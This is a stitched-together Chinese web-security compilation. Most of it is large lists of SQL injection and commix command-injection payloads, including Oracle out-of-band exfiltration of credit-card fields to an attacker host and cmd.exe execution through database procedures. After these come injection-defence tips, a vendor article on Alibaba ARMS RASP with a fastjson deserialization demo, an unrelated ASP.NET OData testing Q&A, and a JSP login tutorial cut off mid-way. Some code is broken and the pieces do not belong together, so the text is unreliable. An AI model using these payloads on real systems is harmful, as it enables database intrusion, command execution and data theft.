151 0x730065006c0065006300740020004000400076006500 ...
152 hi'' or 1=1 --
153 ") or pg_sleep(__TIME__)--
154 %20or%20''x''=''x
155 or ''something'' = ''some''+''thing''
156 exec sp
157 29 %
158 (
159 ý or 1=1 --
160 1 or pg_sleep(__TIME__)--
161 0 or 1=1
162 ) or (a=a
163 uni/**/on sel/**/ect
164 replace
165 %27%20or%201=1
166 )) or pg_sleep(__TIME__)--
167 %7C
168 x'' AND 1=(SELECT COUNT(*) FROM tabname); --
169 '%20OR
170 ; or ''1''=''1''
171 declare @q nvarchar (200) select @q = 0x770061 ...
172 1 or 1=1
173 ; exec (''sel'' + ''ect us'' + ''er'')
174 23 OR 1=1
175 /
176 anything'' OR ''x''=''x
177 declare @q nvarchar (4000) select @q =
178 or 0=0 --
179 desc
180 ||''6
181 )
182 1)) or sleep(__TIME__)#
183 or 0=0 #
184 select name from syscolumns where id = (sele ...
185 hi or a=a
186 *(|(mail=*))
187 password:*/=1--
188 distinct
189 );waitfor delay ''0:0:__TIME__''--
190 to_timestamp_tz
191 ") or benchmark(10000000,MD5(1))#
192 UNION SELECT
193 %2A%28%7C%28mail%3D%2A%29%29
194 +sqlvuln
195 or 1=1 /*
196 )) or sleep(__TIME__)=''
197 or 1=1 or ""=
198 or 1 in (select @@version)--
199 sqlvuln;
200 union select * from users where login = char ...
201 x'' or 1=1 or ''x''=''y
202 28 %
203 â or 3=3 --
204 @variable
205 or ''1''=''1''--
206 "a"" or 1=1--"
207 //*
208 %2A%7C
209 " or 0=0 --
210 ")) or pg_sleep(__TIME__)--
211 ?
212 or 1/*
213 !
214 ''
215 or a = a
216 declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)
217 declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s)
218 declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
219 declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)
220 '' or 1=1
221 or 1=1 --
222 x'' OR full_name LIKE ''%Bob%
223 ''; exec master..xp_cmdshell ''ping 172.10.1.255''--
224 ''%20or%20''''=''
225 ''%20or%20''x''=''x
226 '')%20or%20(''x''=''x
227 '' or 0=0 --
228 '' or 0=0 #
229 or 0=0 #"
230 '' or 1=1--
231 '' or ''1''=''1''--
232 '' or 1 --''
233 or 1=1--
234 '' or 1=1 or ''''=''
235 or 1=1 or ""=
236 '' or a=a--
237 or a=a
238 '') or (''a''=''a
239 ''hi'' or ''x''=''x'';
240 or
241 procedure
242 handler
243 '' or username like ''%
244 '' or uname like ''%
245 '' or userid like ''%
246 '' or uid like ''%
247 '' or user like ''%
248 ''; exec master..xp_cmdshell
249 ''; exec xp_regread
250 t''exec master..xp_cmdshell ''nslookup www.google.com''--
251 --sp_password
252 '' UNION SELECT
253 '' UNION ALL SELECT
254 '' or (EXISTS)
255 '' (select top 1
256 ''||UTL_HTTP.REQUEST
257 1;SELECT%20*
258 <>"''%;)(&+
259 ''%20or%201=1
260 ''sqlattempt1
261 %28
262 %29
263 %26
264 %21
265 '' or ''''=''
266 '' or 3=3
267 or 3=3 --
268 sleep(__TIME__)#
269 1 or sleep(__TIME__)#
270 " or sleep(__TIME__)#
271 '' or sleep(__TIME__)#
272 " or sleep(__TIME__)="
273 '' or sleep(__TIME__)=''
274 1) or sleep(__TIME__)#
275 ") or sleep(__TIME__)="
276 '') or sleep(__TIME__)=''
277 1)) or sleep(__TIME__)#
278 ")) or sleep(__TIME__)="
279 '')) or sleep(__TIME__)=''
280 ;waitfor delay ''0:0:__TIME__''--
281 );waitfor delay ''0:0:__TIME__''--
282 '';waitfor delay ''0:0:__TIME__''--
283 ";waitfor delay ''0:0:__TIME__''--
284 '');waitfor delay ''0:0:__TIME__''--
285 ");waitfor delay ''0:0:__TIME__''--
286 ));waitfor delay ''0:0:__TIME__''--
287 ''));waitfor delay ''0:0:__TIME__''--
288 "));waitfor delay ''0:0:__TIME__''--
289 benchmark(10000000,MD5(1))#
290 1 or benchmark(10000000,MD5(1))#
291 " or benchmark(10000000,MD5(1))#
292 '' or benchmark(10000000,MD5(1))#
293 1) or benchmark(10000000,MD5(1))#
294 ") or benchmark(10000000,MD5(1))#
295 '') or benchmark(10000000,MD5(1))#
296 1)) or benchmark(10000000,MD5(1))#
297 ")) or benchmark(10000000,MD5(1))#
298 '')) or benchmark(10000000,MD5(1))#
299 pg_sleep(__TIME__)--
300 1 or pg_sleep(__TIME__)--
301 " or pg_sleep(__TIME__)--
302 '' or pg_sleep(__TIME__)--
303 1) or pg_sleep(__TIME__)--
304 ") or pg_sleep(__TIME__)--
305 '') or pg_sleep(__TIME__)--
306 1)) or pg_sleep(__TIME__)--
307 ")) or pg_sleep(__TIME__)--
308 '')) or pg_sleep(__TIME__)--
commix 工具中部分字典
1 echo%20AGIYMZ$((69%2B52))$(echo%20AGIYMZ)AGIYMZ
2 %20echo%20TDJHRY$((30%2B41))$(echo%20TDJHRY)TDJHRY
3 ;echo%20MPCSBG$((54%2B42))$(echo%20MPCSBG)MPCSBG
4 &echo%20NWMZCF$((57%2B72))$(echo%20NWMZCF)NWMZCF
5 |echo%20TJEGSE$((27%2B57))$(echo%20TJEGSE)TJEGSE
6 ||echo%20ANSBHE$((26%2B89))$(echo%20ANSBHE)ANSBHE
7 &&echo%20PVJXOS$((12%2B1))$(echo%20PVJXOS)PVJXOS
8 %0aecho%20VVIEOJ$((30%2B78))$(echo%20VVIEOJ)VVIEOJ
9 %3Becho%20SRPJET$((29%2B34))$(echo%20SRPJET)SRPJET
10 %26echo%20NQPWBV$((16%2B77))$(echo%20NQPWBV)NQPWBV
11 %26%26echo%20QOZRFB$((19%2B4))$(echo%20QOZRFB)QOZRFB
12 %7Cecho%20IRODNG$((26%2B68))$(echo%20IRODNG)IRODNG
13 %7C%7Cecho%20KRCSNE$((57%2B75))$(echo%20KRCSNE)KRCSNE
14 echo%20IFNPXI$((40%2B99))$(echo%20IFNPXI)IFNPXI''
15 %20echo%20HBFEEM$((46%2B2))$(echo%20HBFEEM)HBFEEM''
16 ;echo%20KHMFRS$((69%2B67))$(echo%20KHMFRS)KHMFRS''
17 &echo%20DACXMN$((57%2B35))$(echo%20DACXMN)DACXMN''
注入检测
一些常见的关键字:select、where、order、union、substring、ascii、insert、select、delete、update、count、drop、chr、mid、master、truncate、char、declare、sitename、net user、xp_cmdshell、exec、execute、insert、create、drop、table、from、grant、gourp_concat、information_schema、table_schema、where等,此外还有一些常见的sql函数,例如uesr()、@@version、utl_inaddr.get_host_name()、ctxsys.drithsx.sn()等(针对双引号“、单引号''、等号=、括号()之类的符号,可能会进行相关的编码操作,例如URL编码,需要注意)
(1)\
(2)''
(3)"
(4)%df''
(5)%df"
(6)and 1=1
(7)if(now()=sysdate(),sleep(4),0)/*''XOR(if(now()=sysdate(),sleep(4),0))OR''"XOR(if(now()=sysdate(),sleep(4),0))OR"*/
(8)(SELECT * FROM(SELECT(sleep(4)))lWuP)
(9)procedure analyse(extractvalue(1,if(1=1,benchmark(5000000,md5(1)),2)),1)
(10),1=if((1=2),1,(select 1 union select 2))
(11)(case when(1=2) then 1 else (select 1 union select 2) end)
(12)%'' and 1=1 and ''%''=''
(13)OR 1=1
(14)) OR 1=1-- -
(15)OR 1"="2
(16),(1-(case when(1=1) then 1 else (select 1 union select 2) end))
(17),1=if((1=1),1,(select 1 union select 2))
(18),If((1=1),1,(select 1 union select 2))-- -
(19)-IF((1=1),1,(SELECT 1 UNION SELECT 2))-- -
(20)-(case when(1=2) then 1 else (select 1 union select 2) end)
(21)''%2b(if((1=1 and sleep(4)),1,(select 1 union select 2)))%2b''a
(22)-IF((1=1),sleep(4),(SELECT 1 UNION SELECT 2))-- -
(23)'';(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- -
(24);SELECT sleep(4)
(25);(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- -
(26)'' AND SLEEP(4)%23
(27)AND sleep(4)
(28)AND sleep(4) AND ''1''=''1
(29)'') and (select(0)from(select(sleep(4)))x)-- -
(30)) and (select(0)from(select(sleep(4)))x) and (1=1
(31)'' union select null,(select banner from sys.v_$version where rownum=1),null from dual --
(32)'' union select null,(select table_name from user_tables where rownum=1 and table_name<>''T_USER''),null from dual --
(33)'' union select null,(select column_name from user_tab_columns where table_name=''T_USER'' and column_name<>''SUSER'' and column_ name<>''SPWD'' and column_name<>''SNAME'' and rownum=1),null from dual --
(34)1'' and 1=utl_inaddr.get_host_name((select user from dual))--
(35)1'' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
(36)1'' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
(37)1'' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--
(38)1'' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--
(39)ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--
(40)(select decode(substr(user,1,1),''S'',(1/0),0) from dual) --
(41)utl_http.request(''http://10.10.10.1:80/''||(select banner from sys.v_$version where rownum=1)) --
(42)nd (select utl_inaddr.get_host_address((select user from dual)||''.t4inking.win'') from dual)is not null--
(43)1=(select decode(substr(user,1,1),''S'',(1),0) from dual) --
(44)(instr((select user from dual),''SQL'')) --
(45)(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND ''1''=''1&sname=1
(46)(DBMS_PIPE.RECEIVE_MESSAGE(''a'',10)) and ''1''=''1
(47)(select decode(substr(user,1,1),''S'',(select count(*) from all_objects),0) from dual) and ''1''=''1
(48)and(updatexml(1,concat(0x7e,(select user())),0))
(49)^(select (select version()) regexp ''^5'')
(50)1 and extractvalue(1, concat(0x3a,0x3a,(select name from sql_test.student limit 0,1),0x3a,0x3a));
(51)TEST’ and (select user from dual)=''SCOTT''--
(52)SCOTT’ and (select sum(length(utl_http.request(''http://attacker.com/''||ccnumber||''.''||fname||''.''||lname))) from creditcard)>0--
(53)2222222''||(select 1 from dual where (select count(*)from all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0 and (select user from dual)=''XXXX''))--
(54)nd (select sys.LinxRunCMD(''cmd.exe /c whoami'') from dual) is not null--
(55)"and (SELECT DBMS_JAVA.RUNJAVA(''oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>C:\\OUT.LST'') FROM DUAL) is not null --
(56)"and (select sys.LinxRunCMD(''cmd.exe /c whoami'') from dual) is not null--
(57)and (Select DBMS_JAVA_TEST.FUNCALL(''oracle/aurora/util/Wrapper'',''main'',''c:\\windows\\sy stem32\\cmd.exe'',''/c'',''dir>c:\\OUT2.LST'') FROM DUAL) is not null –
(58)and (select sys.LinxRunCMD(''cmd.exe /c whoami'') from dual) is not null--
(59)nd (select SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,''VALIDATE_GRP_OBJECTS_LOCAL(:ca non_gname);EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''''''create or replace and compile java source named ""LinxUtil"" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="""";while ((stemp = myReader.readLine()) != null) str +=stemp+""\n"";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="""";while ((stemp = myReader.readLine()) != null) str +=stemp+""\n"";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''''''';END;'''';END;-- '',''CCCCC'') from dual) is not null--
(60)and (select SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,''VALIDATE_GRP_OBJECTS_LOCAL(:ca non_gname);EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''''''begin dbms_java.grant_permission( ''''''''''''''''PUBLIC'''''''''''''''', ''''''''''''''''SYS:java.io.FilePermission'''''''''''''''', ''''''''''''''''<>'''''''''''''''', ''''''''''''''''execute'''''''''''''''' );end;'''''''';END;'''';END;-- '',''CCCCC'') from dual) is not null --
(61)and (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(''DBMS_SCHEDULER.create_program(''''myprog4'''',''''EXEC UTABLE'''',''''c:\WINDOWS\system32\cmd.exe /c dir >> c:\my4.txt'''',0,TRUE);'') from dual) is not null --
(62)and (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(''DBMS_SCHEDULER.drop_program(PROGRAM_NA ME => ''''myprog'''');'') from dual) is not null --
(63);declare aa varchar2(200);begin execute immediate ''Select DBMS_JAVA_TEST.FUNCALL(''''oracle/aurora/util/Wrapper'''',''''main'''',''''c:\\window s\\system32\\cmd.exe'''',''''/c'''',''''dir >> c:\\OUTer3.LST'''') FROM DUAL'' into aa;end;end;--
SQL 注入防御 - 1
对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等
SQL 注入防御 - 2
使用参数化的SQL或者直接使用存储过程进行数据查询存取
SQL 注入防御 - 3
为每个应用使用单独的权限有限的数据库连接
SQL 注入防御 - 4 - 使用正则校验
.+ @"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?", RegexOptions.Compiled | RegexOptions.IgnoreCase);
SQL 注入防御 - 5
应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
SQL 注入防御 - 6 - 对字符串进行过滤
public static boolean sql_inj(String str){
String inj_str = "''|and|exec|insert|select|delete|update|
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";
String inj_stra[] = split(inj_str,"|");
for (int i=0 ; i < inj_stra.length ; i++ ){
if (str.indexOf(inj_stra[i])>=0){
return true;
}
}else{
return false;
}
JS中:
function check(a){
return 1;
fibdn = new Array (”‘” ,”\\”,”/”);
i=fibdn.length;
j=a.length;
for (ii=0; ii<i; ii++)
{ for (jj=0; jj<j; jj++)
{ temp1=a.charAt(jj);
temp2=fibdn[ii];
if (tem’; p1==temp2)
{ return 0; }
}
}
return 1;
}
SQL 注入防御 7
确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型
SQL 注入防御 - 8
对进入数据库的特殊字符(’”&*;等)进行转义处理,或编码转换
SQL 注入防御 - 9
数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行
SQL 注入防御 - 10
网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过
SQL 注入防御 - 11
使用url重写
SQL 注入防御 - 12
限制输入框长度
SQL 注入防御 - 13
传递参数尽量不是字符
SQL 注入防御 - 14-cmd 注入防御
使用正则过滤IP字段
if(preg_match(''/^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+$|^((25[0-5]|2[0-4]\d|[01]?\d\d?)($|(?!\.$)\.)){4}$/'',$target)){}
SQL 注入防御 - 15-XML 注入防御
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
#过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。
不允许XML中含有自己定义的DTD
SQL 注入防御 - 16-Cookie 注入防御
用Request.QueryString (GET) 或 Request.Form (POST)
%0d%0aSet-Cookie:crlf=true
ARMS 应用安全-你的应用运行时的隐形安全卫士
随着互联网成为日常生活的基础设施,企业的应用与服务遭受安全威胁和侵害的风险不断增加。这里面的风险不仅仅是网络层面的安全问题,更有应用本身的安全问题。在传统网络架构下,应用位于 IDC 内,有清晰的边界,应用威胁主要来自外部,边界内风险忽略不计,防护只需要关注边界入口处的南北向流量,传统上一般采用 WAF(即 web 应用防火墙)技术来拦截危险流量。
但随着微服务及容器化等技术发展,应用可以在 IDC/容器/公有云/私有云等多环境下部署,针对应用的威胁除了南北向还有来自东西向的横向威胁。网络环境日益复杂及漏洞攻击手段多样化,都造成产研团队牵扯更多精力修复问题,从而浪费公司大量研发成本。
现阶段典型的安全痛点如下:
- 审计不完的代码(数据统计显示平均 2 万行代码有 1 处漏洞,按照行业经验在交付的软件代码中 1000 行代码就有 1-25 处错误);
- 升级不完的三方组件,例如 fastjson,jackson,shiro,tomcat,struts2 等爆出多个 0day 漏洞需要紧急修复;
- 相同问题一犯再犯(例如注入,xss,csrf,broken auth 等依然在头部安全问题列表中反复出现);
- 总是被遗漏掉的应用(一些边缘历史应用长期无人治理以及存在大量未知应用悄悄上线,形同定时炸弹不可控);
- 网络架构约束下端到端加密、多重编码限制导致检测困难,以及被检测的流量需经过检测设备,否则可能会漏掉攻击);
- 远不止于 HTTP 协议攻击(大部分WAF 往往只能防御 HTTP 协议攻击,还存在 dubbo/thrift/rmi 等非 HTTP 协议以及各种私有协议也有被利用进行漏洞攻击);
- 代理攻击的无力(表现为一旦有一台内网机器被拿下,那么攻击者以这台主机为跳板,WAF 也无能为力);
- 漏洞扫描不友好(主要表现为黑盒的扫描器在进行漏洞扫描时候会对测试环境造成大量脏数据以及影响功能卡顿)。
如果我们的应用本身是否可以直接被加固,无需代码安全专家,无需额外代码修改,也无需复杂配置?对此,阿里云应用实时监控服务 ARMS 推出基于 RASP 的"应用安全"功能,让应用具备高水位的运行时安全防护,实现内生安全。
RASP 是什么?
2014 年,Gartner 将“Runtime Application Self-Protection”(简称 RASP)列为当年的应用安全关键趋势。作为在运行时检测应用程序攻击并进行自我保护的安全产品,RASP 将安全程序像疫苗一样注入到应用程序中,和应用程序融为一体,实时检测和阻断安全攻击,使应用程序具备自我保护能力。当应用程序遇到特定漏洞和攻击时,不需要人工干预就可以进行自动重新配置应对新的攻击。
以人体病毒防护举例,我们通过口罩来隔绝外部病毒进入人体,防火墙通过分析识别阻隔外部危险流量来保护系统。而 RASP 技术类似于人体疫苗抗体无需关心病毒进入的途径,部署在在服务端点上伴随应用启动,可以直接识别并拦截攻击。RASP 旨在缩小应用安全安全测试和网络边界控制所留下的空白地带,深入应用运行环境内部,实时了解数据和事件流,以监测或者阻止开发过程中无法预见的新威胁。
一般来说 WAF 在入口只能看到流量内容,即用户的原始请求,并不能感知应用最终会怎样执行这条请求。所以往往会产生一些误报漏报,例如用户在在线文档中上传一段 SQL 语句(误报)、利用PHP漏洞的报文打到了 JAVA 环境(虚报)、应用本身做过预编译,不存在 SQL 注入点(虚报)、ls 等短命令执行,极容易跟正常输入混淆(误报)。
而相比之下,RASP 只上报能利用成功的有效攻击。从原理上来说,RASP 关注运行时行为,不关心流量来源及形式,无需修改代码,以 Agent 方式随着应用启动,Hook 应用的底层关键函数以及参数内容,结合请求上下文,语义分析,基线等手段,判断当前的应用行为是否存在风险。从策略上来说,由于应用行为相对于千变万化的攻击特征来说是可穷举的,因此 RASP 针对 0day 以及各种变形攻击手法的防御效果要远好于 WAF 等以"特征"为检测对象的手段。另外,加密马等手段本质上也是对输入内容做变形以绕过基于特征的检测,RASP 同理也会无视,形成降维打击。
RASP 与 WAF 的差异
我们可以看到 RASP 与 WAF 一样都能检测流量和内容,也能够终止用户会话,但两者之间的差别在哪里呢?
接下来我们从场景,误漏报,维护性上等多个角度来对比 RASP 与 WAF 的差异特点。从上面的表格可以看到,例如 SQL 注入,XSS(跨站脚本),代码执行,webshell 等通用的 WEB 漏洞都具备一定的防御能力。由于 WAF 作为入口层比较擅长拒绝服务攻击,爬虫攻击,扫描器以及访问控制场景,而 RASP 与业务进程运行在一起,更擅长于 0day,复杂编码/加密流量,内存/加密码,非 HTTP 协议等场景,并具备以下特点:
- RASP 无视流量特征更关注应用行为,从误漏报上来说概率极低,只上报有效的攻击。
- RASP 部署在本地会消耗一部分服务器性能,而 WAF 仅消耗自身性能,对应用和源站无影响
- RASP 基本不依赖规则,无需联网,极少更新,反之 WAF 依赖规则需要联网更新或者进行云端运算
- 漏洞修复方面,RASP 通过虚拟补丁进行漏洞修复,同时能定位到漏洞利用的代码行,更胜一筹
总结来说,RASP 更接近云原生,可作为“分布式防火墙”,打破 WAF 边界防护局限性,符合零信任安全概念。而 WAF 基于边界安全,保护面广,RASP 针对 Nginx,Apache 等前置服务器的防护无法支持。所以 RASP 跟 WAF 有各自擅长的场景,结合自身场景,通过互补形成多层纵深防御,才能达到最好的效果。
接下来,我们来了解下 ARMS 应用安全基于阿里云 RASP 能力提供了哪些安全防护手段以及通过一个反序列化漏洞来感受下功能。
ARMS 应用安全
随着业务容器技术、无服务器技术的发展,业务的研发周期和功能迭代频率越来越快,而安全能力的滞后性越来越明显。例如,存在漏洞的老旧中间件升级困难,引入三方组件评估不充分可能引入高危漏洞,代码存在安全漏洞需要快速溯源定位修复等。DevSecOps 作为 DevOps 的延伸,安全应该成为每个人的关注点,优秀的 DevSecOps 工具应该最大程度上实现安全的自动化能力,减小对业务侵入性。而 ARMS 应用安全关注应用发布上线以后阶段的安全,对 DevSecOps 友好,提供完整的运行时安全整体方案,提升业务 7x24 小时安全的同时不引入额外负担影响业务发展,一定程度上改变业务与安全的对立的局面。
ARMS 应用监控探针集成了阿里云安全 RASP 技术,通过深度埋点技术,为您的应用注入"安全疫苗",只需要一键开启接入应用安全,就能够轻松识别黑客的危险攻击行为进行拦截告警,而不影响正常的客户请求,就像隐形的安全卫士一样时刻守护着您的应用运行安全。接下来我们详细看下攻击防护统计以及危险组件检测功能。
1、攻击统计
在很多场景下,我们在流量层面收到安全告警后,但很难与实际漏洞代码位置产生关联,而 ARMS 安全在应用监控探针中集成了阿里云安全 RASP 技术,用户开启安全防护后,一旦发生安全攻击,就可以收到攻击告警。目前支持命令执行漏洞,文件访问漏洞,网络访问漏洞、内存马绕过、JN 注入、恶意反射调用等多达 15 种类型攻击场景检测。
ARMS 应用安全在攻击统计页面,提供了应用正常行为统计以及攻击行为统计数据,方便您了解近期是否存在攻击事件。如果被检测到攻击,在该页面还可以分页查看攻击发生时间、攻击类型、请求 URL、上下文数据以及本次攻击的处理结果(监控还是拦截取决于您的防护设置);点击详情可以查看攻击来源 IP、请求详细参数、机器等信息,通过分析代码堆栈进一步定位到代码漏洞位置进行修复。
2、危险组件检测
在 JAVA 应用中,往往会依赖大量的三方开源组件以及各种中间件框架,往往这些组件存在未知漏洞难以发现和盘点,应用不清楚自身是否存在高危漏洞暴雷的可能。ARMS 应用安全提供的危险组件检测功能则可以帮助解除这方面的担忧,应用一旦集成探针并接入应用安全后,ARMS 会检测应用的三方组件依赖,自动分析关联权威的 CVE 漏洞库,并区分不同的漏洞危险等级。客户可以根据详情中的漏洞修复建议,优先升级组件解决高危漏洞。
针对尚未纳入 CVE 的漏洞,当新的漏洞报出来时,客户还可以第一时间通过"全量组件自查"功能,利用关键词搜索快速检查自身依赖的组件版本是否涉及到该安全漏洞,做到心中有数,确定是否需要处理。
漏洞防护示例
接下来,我们通过 fastjson 反序列化漏洞的攻击场景来演示 ARMS 应用安全的实际防护效果,fastjson 的反序列化过程主要如下:
User类:
package com.test;public class User { private String name; public void setName(String Name) { this.name = Name; } public String getName() { return name; }}
恶意类:
package com.test;import java.io.IOException;public class Evil { //恶意Setter public void setCommand(String command) throws IOException { Runtime.getRuntime().exec(command); }}
反序列化内容:
{
"rand": {
"@type": "com.test.Evil",
"command": "open /System/Applications/Calculator.app/"
}
}
反序列化漏洞代码:
public static void main(String[] args) {
//指定User为所需要的类型,但成功反序列化了Evil类型,并执行了命令
User user = JSON.parseObject("{\"rand\":{\"@type\":\"com.test.Evil\",\"command\":\"open /System/Applications/Calculator.app/\"}}", User.class);
}
当执行上述代码时,在反序列时设置 User 属性时会触发命令执行,本文会打开某个内部应用程序,在真实攻击场景下可能会获取系统配置以及访问敏感信息等造成的危害更大。
在开启了 ARMS 应用安全时,当发生上述反序列漏洞时,ARMS 应用安全会识别到序列化漏洞产生的命令执行行为,可以直接阻断该反序列化动作并发送告警通知,在攻击详情可以进一步分析攻击源以及漏洞代码位置。
fastjson 反序列化的利用核心,还是在于寻找可以造成代码执行的类,实际上在 java 庞大的 jdk 类库以及第三方类库中存在着大量的可利用类,传统流量产品如 WAF,往往需要在防御时去穷举这些可能被利用的类(经常会出现遗漏),而 ARMS 应用安全基于 RASP 的上下文分析能力与基于行为的攻击发现方式,将会捕获掉所有由 fastjson 造成的代码执行、恶意文件上传、敏感文件读写等行为,而无需去针对特定代码实现做精准匹配,所以完全不会存在被绕过的可能性。
结合以上案例,我们可以看到 ARMS 应用安全的整体产品优势,ARMS应用安全全面支持 0day 防御,攻击告警以及溯源,支持危险组件检测,并提供漏洞修复建议。一键开启接入,无需修改代码,支持软熔断逃生避免影响应用以及观察模式体验实际效果。通过压测来看,开启应用安全防护模式后 CPU 平均开销增加低于 1%,内存占用低于 30M,平均 RT 耗时毫秒级,对系统性能影响极低。通过防护设置您可以选择观察/拦截模式、自定义勾选攻击检测类型、自定义检测超时时间,进一步降低性能影响。
通过集成 ARMS 应用安全运行时自我防护能力,为您的应用注入"疫苗",实现应用默认安全,抵御日常 OWASP 攻击,默认防御 fastjson 等新漏洞(0day)以及内存马,加密马等。还可以自动发现三方组件高危漏洞,溯源攻击行为精准定位修复问题。一键开关,稳定低消耗运行,运维无负担,为您的业务安全保驾护航!
目前 ARMS 应用安全正在公测中,欢迎钉钉搜索加入钉群(34833427)或关注 Apache RocketMQ 官方公众号,了解更多产品详情。
asp.net-web-api – 在ASP.NET Web API控制器的nunit测试中实例化新的System.Web.Http.OData.Query.ODataQueryOptions
我正在使用NUnit和Moq来测试该项目,这使我能够从ApiController使用的相关的存储库方法中设置canned响应.这样做,如:
[TestFixture] public class ProjectControllerTests { [Test] public async Task GetById() { var repo = new Mock<IManagementQuery>(); repo.Setup(a => a.GetProjectById(2)).Returns(Task.Fromresult<Project>(new Project() { ProjectID = 2,ProjectName = "Test project",ProjectClient = 3 })); var controller = new ProjectController(repo.Object); var response = await controller.Get(2); Assert.AreEqual(response.id,2); Assert.AreEqual(response.name,"Test project"); Assert.AreEqual(response.clientId,3); } }
我所面临的挑战是,要使用这种模式,我需要将相关的querystring参数传递给控制器以及存储库(这实际上是我的意图).然而,在使用ODataQueryOptions接受ApiController方法的情况下,即使在我想仅使用ODataQueryOptions的默认参数的情况下,我需要知道如何实例化一个.这变得棘手:
> ODataQueryOptions不实现接口,所以我不能直接模拟它.
>构造函数需要实现System.Web.Http.OData.ODataQueryContext,它需要实现一些实现Microsoft.Data.Edm.IEdmModel的文件,文档很少,Visual Studio 2012查找引用和查看调用层次不会提供洞察力(实现该接口?).
我需要做什么/有更好的方法吗?
谢谢.
解决方法
ODataModelBuilder modelBuilder = new ODataConventionModelBuilder(); modelBuilder.EntitySet<Customer>("Customers"); var opts = new ODataQueryOptions<Customer>(new ODataQueryContext(modelBuilder.GetEdmModel(),typeof(Customer)),request);
Java Web 应用安全
参考
-
Java Web 工程源代码安全审计实战,第 1 部分:跨站 XSS
http://blog.csdn.net/a19881029/article/details/27536917
-
Java Web 工程源代码安全审计实战,第 2 部分: SQL 注入
-
Java Web 工程源代码安全审计实战,第 3 部分:文件路径操纵、系统日志欺骗、线程安全和资源未释放
-
Java Web 工程源代码安全审计实战,第 4 部分:环境加固
JAVA WEB 快速入门之从编写一个 JSP WEB 网站了解 JSP WEB 网站的基本结构、调试、部署
一、使用 eclipse 初始化一个 JSP WEB 项目 (即:动态 WEB 项目),步骤如下:
如上图示注意选择 TOMCAT 版本
如上图示勾选生成 web.xml,当然如果不勾选也行,但后续如果有需要用到配置的地方就需要再单独添加,故这里我选择一并生成。
最后点击 finish 按钮即可生成 WEB 项目
WEB 项目的结构如下图示,每个部份都有说明,该图引用自网络
如上步骤也可参考更详细的教程:http://www.runoob.com/jsp/eclipse-jsp.html
二、编写一个登录静态页面(login.html),注意静态页面(html)、动态页面 (jsp) 均应在 WebContent 目录下创建
后面采取默认即可,最后创建好空的 login.html,然后写如下示例代码:
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>login</title> </head> <body> <form action="/demo2/servlet/login" method="post"> <div> <label for="userid">UserID:</label> <input type="text" name="uid" /> </div> <div> <label for="pwd">Password:</label> <input type="password" name="pwd" /> </div> <div> <button type="submit">Enter</button> </div> </form> </body> </html>
三、编写服务端处理逻辑类(LoginServlet),该类必需继承自 HttpServlet,并按需重写相关的请求方法,例如此处是:doGet(处理 GET 请求)、doPost(处理 POST 请求)
自定义的 Servlet 类统一放在 src 目录下,按照 JAVA 标准以包、类层级呈现
如上图示,包名一般是域名的反写,大家可能看到下面还有一个创建 package-info.java 的勾选项,具体用法可参考:PACKAGE-INFO.JAVA 作用及用法详解
创建好 LoginServlet 类后,编写如下代码:(主要是 doPost,用于处理登录请求)
